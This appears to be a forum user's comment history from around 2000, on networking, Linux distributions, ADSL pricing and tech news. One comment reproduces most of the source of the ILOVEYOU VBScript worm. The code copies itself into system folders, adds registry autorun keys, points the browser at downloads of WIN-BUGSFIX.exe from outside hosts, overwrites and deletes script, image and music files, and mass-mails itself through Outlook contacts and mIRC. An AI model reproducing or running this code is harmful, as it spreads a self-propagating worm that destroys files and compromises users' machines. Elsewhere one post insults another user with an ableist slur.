User: GC

hah!!

On: Encryption Market Opening Up

fact is we don't want your crappy encryption software - ours is better than yours anyway.

Re:diskless X Terminals

On: Linux Implementation For 2500 Workstations?

Certainly if you have a fast LAN/WAN infrastructure, then X terminals could really solve the "only 64Mb" per client for your memory intensive applications.

There are even utilities that allow you to load-balance over a cluster of servers. Say a cluster of 10x128Mb servers with process load balancing enabled. Running xclients remotely will mean that you can probably get away with most clients stuck to 32Mb and some swap.

As it seems you already have the workstations there I can't see any reason to remove the harddisks - By runnning the X servers locally you will save what might be valuable network bandwidth for the applications.

Wow! Seems really interesting project. I have to say however that I'm not a "Linux on the Desktop" advocate yet... sure - I run it on my workstation, but I like ordinary users to use what they already know.

Re:Now what the ..

On: Secretive Company Scanning the Net

errr...

Sorry mate:

traceroute is done via sending & receiving ICMP packets - if you want to come up with some other fanciful way that it works please get back to me. (Email please - this will be archived before you work it out)... It's Friday after all I''m ready to laugh at others expense.

Glad you're happy to trivialise the point though.

Keep on learning...

Re:Now what the ..

On: Secretive Company Scanning the Net

The traceroute information is a useful tool in narrowing the location. Plot a traceroute on a map, and you'll intuitively start guessing what part of the country it's going to end up in. At some point it resolves to your local ISP, which gives them your county or city.

Where ping fits in, I dunno, other than perhaps it provides the IP addresses for traceroute to digest. And there is useful information in being able to ping a machine and identify that it's still online in the dead of night: that implies it's a full-time connection, which means you're a cut above the average dial-up user.

Here's how ping fits in

A traceroute is a number of pings. Here is how it works:

Each ICMP packet is sent out with a "Time-To-Live" (TTL), as the packet passes each router the TTL is reduced by one, when the TTL reaches zero the ICMP-echo packet is returned to the source IP with TTL expired.

When doing a traceroute the source IP sends out a "ping" (ICMP-echo) packet with a TTL of 1, the TTL expires at the first hop and you get the reply "Reply from router.at.hop.1: TTL expired" then it sends out a ping to the same address with a TTL of 2, it passes the first host (usually router.at.hop.1) and gets to "router.at.hop.2" where, once again the TTL expires and the echo gets sent back with "Reply from router.at.hop.2: TTL expired" this goes on until the destination IP is reached or some other thing happens ("Network Unreachable" for instance)

That is how traceroute works. It is just a load of pings.

Aside: TTL wasn't designed for traceroute - it's main use is to prevent packets entering cyclic routes and taking up enormous bandwidths ad infinitum.

Hope this is informative to you.

Re:This is also importaant with word documents..

On: Iranian Coup Plotters Exposed By PDF File

Excuse me, but could you re-send that? I can't read plain text.

Thanks

PS Word format is fine.

Motif Sauce Rools

On: RMS On 'Open' Motif

Well,

Motif has always been available in source code version to students and from certain unknown russian ftp sites.

Haven't checked recently but ftpsearch.lycos.com will probably produce something.

I agree with Richard, if Lesstif works: use it, if it doesn't: code it.

Thanks

Re:Does it serve properly yet?

On: New Slash Version v1.0.3

In my last company we had a UUNET line. Even when overall usage was low slashdot would hang like hell on me.
At home on a 56k (Freeserve, UK) link it would go through fine.

I thought that the banner ads were hanging the page load, because UUNET had poor routing to the banner ad sites.

In my new company (AT&T line) slashdot loads just great.

It might also have something to do with the fact that Slashdot has been completely revamped over recent weeks.

Re:I'm curious...

On: New, More Destructive Love Bug Variant

I'm not a virus writer, but:

Some people write viruses without any intention of releasing them to the wild. (Medical Research do the same)

Writing a Virus is similar to creating life itself. It may well live beyond your own lifetime.

Bringing down the entire world's email systems must give (the evil) a big sense of power.

Wasted, destructive talent - maybe - but these viruses are formidable weapons. The UK network staff at the house of commons (Government) had to shut off their networks entirely for the first ILOVEYOU, what would be the effects of that in a state of war?

Re:RSM/MSFC definations

On: The Slashdot DDoS: What Happened?

MSFC

On Cisco equipment this is touted as Netflow and on Cat5500s the feature resides on the Supervisor Module (III) - This is in Slot 1.

RSM

Essentially a Cisco series 7000 router, without any physical ports (except the backplane I suppose), like others have pointed out to route between VLANs within the VTP Domain of Cisco switches.

I have found that routing is pretty slow (as least for today's 1gb/100Mbit LANs) so you're probably better putting Gigabit cards on your servers that are capable of VLAN detagging, then just let the switch switch packets by physical address.

Re:Why a firewall?

On: The Slashdot DDoS: What Happened?

Hmmm,

The CPU of a server spends time on a packet before it has checked what service it is destined for.
Filtering Broadcast packets on a network is a great way to improve workstation & server performance.

In the old days with Token Ring networks with cheap and nasty MAUs you could bring down the entire network with broadcast packets...

Not strictly true

On: Linux Users Unscathed By ILOVEYOU

A lot of Linux sendmail boxes were operating at very hiogh loads because of the ILOVEYOU bug.

And Linux users cannot be too proud as most of these boxes were forwarding the virus around the place a lot faster than other OS's were!! :-)

Re:This hit where I work.

On: I Love You "Virus" Hates Everyone

A lot of users will just see LOVE-LETTER-FOR... especially in outlook. For me - it was the icon that gave it away.

Here is the Visual Basic Script that is "ILOVEYOU"

On: I Love You "Virus" Hates Everyone

rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micr osoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32",dirsystem&"\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Win32DLL",dirwin &"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micr osoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhj kxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7 679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfd jghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRp Gqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbv g/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNB mnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPh jasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg /WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFIX",downread&"\ WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eqfolderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software \Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Softwar e\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR -YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="LOVELETTER - HTML"&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
"

This HTML file need ActiveX Control

To Enable to read this HTML file
- Please press #-#YES#-# button to Enable ActiveX"&vbcrlf& _
"----------z--------------------z---------- "&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
""
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+ch r(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+c hr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+ch r(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-Y OU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU .HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

Good Site, Link it in to your site, if legal :-)

On: Red Hat Is Not Linux (dot org)

This is a good site. Give it a better web footprint by linking it to other sites.

Personally I don't like RedHat, but this isn't the issue that is being dealt with here. RedHat have put in a lot of effort into Linux and there's a very common misunderstanding that the two are one and the same. What I hate is that this misunderstanding is being further propagated by the large number of distributions that are actually simply extensions or subsets of the RedHat distribution.

Yours truly,

Fanatically Slackware.

strings in the price

On: UK ADSL packages Announced By British Telecom

I damn well hope we get Linux USB support, as BT are charging £99.99 per month for a network (Router) solution. check here

Linux + IPmasq (NAT) will bypass this nicely and save me £60 a month.

Am I the only one who expected 768kbps only to find that BT are only guaranteeing 512kbps?

Also this is an single ISP solution ie Use BT's ADSL = Use BT's ISP.

Oh well, at least it's better than my 56k that never connects at 56k. (49k tops)...

Re:Disgusting perfectionists.

On: Kernel Traffic #64 And The 2.4 Kernel TODO

Interesting, but I think there is a slight flaw:

Take your favorite linux distro. Remove inetd completly, install X with kde since it is releatively similar look and feel wise to linux. Install kde progs to match standard Win2k utilities. Add smb and a stable kde gui frontend. Remove all console utilities that have no equlivant in win2k. Now install a natile portman desktop theme on both computers. Compare the amount of known bugs


I believe that X is a Client/Server applications and thus relies on inetd to function. We at least need a loopback configured.

Besides - my opinion is that KDE is full of bugs and because it's still not fully operable you should halve the version numbers.

Re:Damn trolls

On: Tech Stocks Tumble

I browse at 2, unless I'm moderating.

I'd recommend that to anyone.

Slightly offtopic:

But if every one got more moderation points, and the moderation point ceiling was raised accordingly everyone coulde browse at 2 and we wouldn't find any troll posts at all.

Re:The obvious solution to all of this...

On: Slashdot Meets The Pinkerton Corp.

Are you sure you're not saying imprison everybody with your criteria?

Good News

On: Slackware Being Spun Off

I use Slackware and have since Q2'95. I've been tempted to get over my quirks with RedHat and bite the bullet and migrate from my preferred distribution. (Various reasons - most of you will be fully aware of what they are).

This news will certainly delay this move and I hope to find a more professional gilt-edged version of Slackware 7.1 (or 8) on the horizon which has more support from third parties.

Is it just me or are other people infuriated by organisations such as 3dfx only distributing their stuff in rpm format?

Damn Time there was an Open Source SymbMath packag

On: Open Source Symbolic Math Program?

I have looked for one of these, having messed about with Maple V years ago at university. I also looked at some of the Mathematica GUI (I xhosted my workstation once to allow someone in Sweden to output some stuff on my display in the UK) These are great apps, but their commercial cost is high - deservedly or not.

I tried looking at MuPad, but the damn thing wanted me to write off to the authors to ask to use the software, also I'm not sure that it was truely Open Source.

I don't want to pay for Mathematica/Maple especially at the prices they are licensed at.

If someone starts a project on this type of software which has the power that Mathematica/Maple has - then I would be very interested. I might even be prepared to pay $40 for such software, but it would be a dream if it were made Open Source (ie Licensed under the GPL)

Re:Beowulf != Supercomputer

On: Export Controls on Beowulf?

For some Parallel tasks a Beowulf is just as effective as a supercomputer. The problem as you state it is whether your algorithms require very fast communication between the nodes.

My understanding for export controls of supercomputers is to restrict the (or at least make difficult) the ability of non-US powers to intercept and brute force decrypt US communications. Current decryptions can be done without the need for communication between processing nodes (and technically without the need for a Beowulf - A load of standalone PCs will do just as well). A Beowulf is a cheap solution to exercise parallel communications capable of brute force decryption so for this project an actual Supercomputer would be overkill.


This message was exported from the United Kingdom in accordance with the export administration regulations. Diversion contrary to UK law prohibited.

For better or worse

On: Apple Forces Aqua Themes Off themes.org

Wouldn't Apple really be more interested in getting rid of "Aqua-like" themes that don't portray their logo than getting at the ones that do? After all it is free advertising for their "look and feel" that they pride themselves so much on.

I understand that the case for trademarks as stated in similar cases is that each company must police the use of it's own trademark(s). By allowing exceptions adds strength to a case involving a more dis-honourable use of the trademark by way of "You never said anything about themes.org using your trademark, so why can't I?".

I'm sure Apple want this cut-and-dry, so please don't start moaning to Apple about how great Linux/themes.org is? And how naughty Apple are for smacking them on their themes.

Just my pennies worth... I don't often voice my opinions these days, but I felt I should make my point on this case.

what to do

On: Please Do Not Harass Blizzard

I don't think there is anything wrong with someone mailing a games developer asking for a Linux port and from what the Loki bloke said he actually said that "mailbombing" was a bad idea.
To my understanding mailbombing is the instance of a single user sending 100+ messages saying "Gimme Linux Port".
Sending a well thought out email message to a games developer is likely to get more attention and if you outline the rational reasons as to why they should port the game across then you might be heard. This type of behaviour cannot be considered counter-productive, at least us Linux users don't tend to call product support to ask how to install the game!!! Any company has to consider it's customers, even potential-customers.

Aside

I purchased Unreal Tournament and later downloaded the Linux install off the net. The 3D acceleration however is pretty slow under Linux mainly because the (glide) 3dfx drivers have not been optimised and won't be until XFree v4.0.0 is released, so I tend to play the game in Windows still.

shutup yourself..... [idiot]

On: The Second Generation Internet

I was trying to see it from their point of view.

not my fault you suffer from autism and cannot grasp the difference between first and third person.

Freedom & Privacy

On: The Second Generation Internet

The right to exchange information is a mutual agreement from the information provider to the information receiver.

Does information have it's own intrinsic value? Should an equivalent value be transferred from the information receiver to the information provider to balance the transaction? These are issues that should remain the decision of the Information Provider, whether they make a sound decision or not depends on their marketing strategy.

There are many issues. Valuable information can be "freely" distributed. But for the information provider they must feel there is something in it for them. Be it Corporate Marketing in order to sell another product, OpenSource "Payback". Whatever their motivation it will almost always be quite rational.

I can understand the large corporations of the Record and Film Industry having concerns on where their revenue is going to come from. They spend hundreds of millions creating digital information that can be put on the silver platter of the DVD/CD and find it has been distributed across the fiber to hundreds of thousands of people in minutes. They have found that Proprietary Encryption systems cannot work without seriously affecting the freedoms of their legitimate customers. Copy Protecting / Copy Cracking is now an age old problem that we all know will never go away. Every system has an effective loophole as there has to be someway that the legitimate user can use the information provided. The only hope is to keep on changing the system and try to stay in front of the crackers.

The success of Open Source has shown the two-way benefits from not assigning a $ value to information. By continuing in it's success Open Source will either prove itself to be the benchmark that others should follow or it will fizzle out and become insignificant.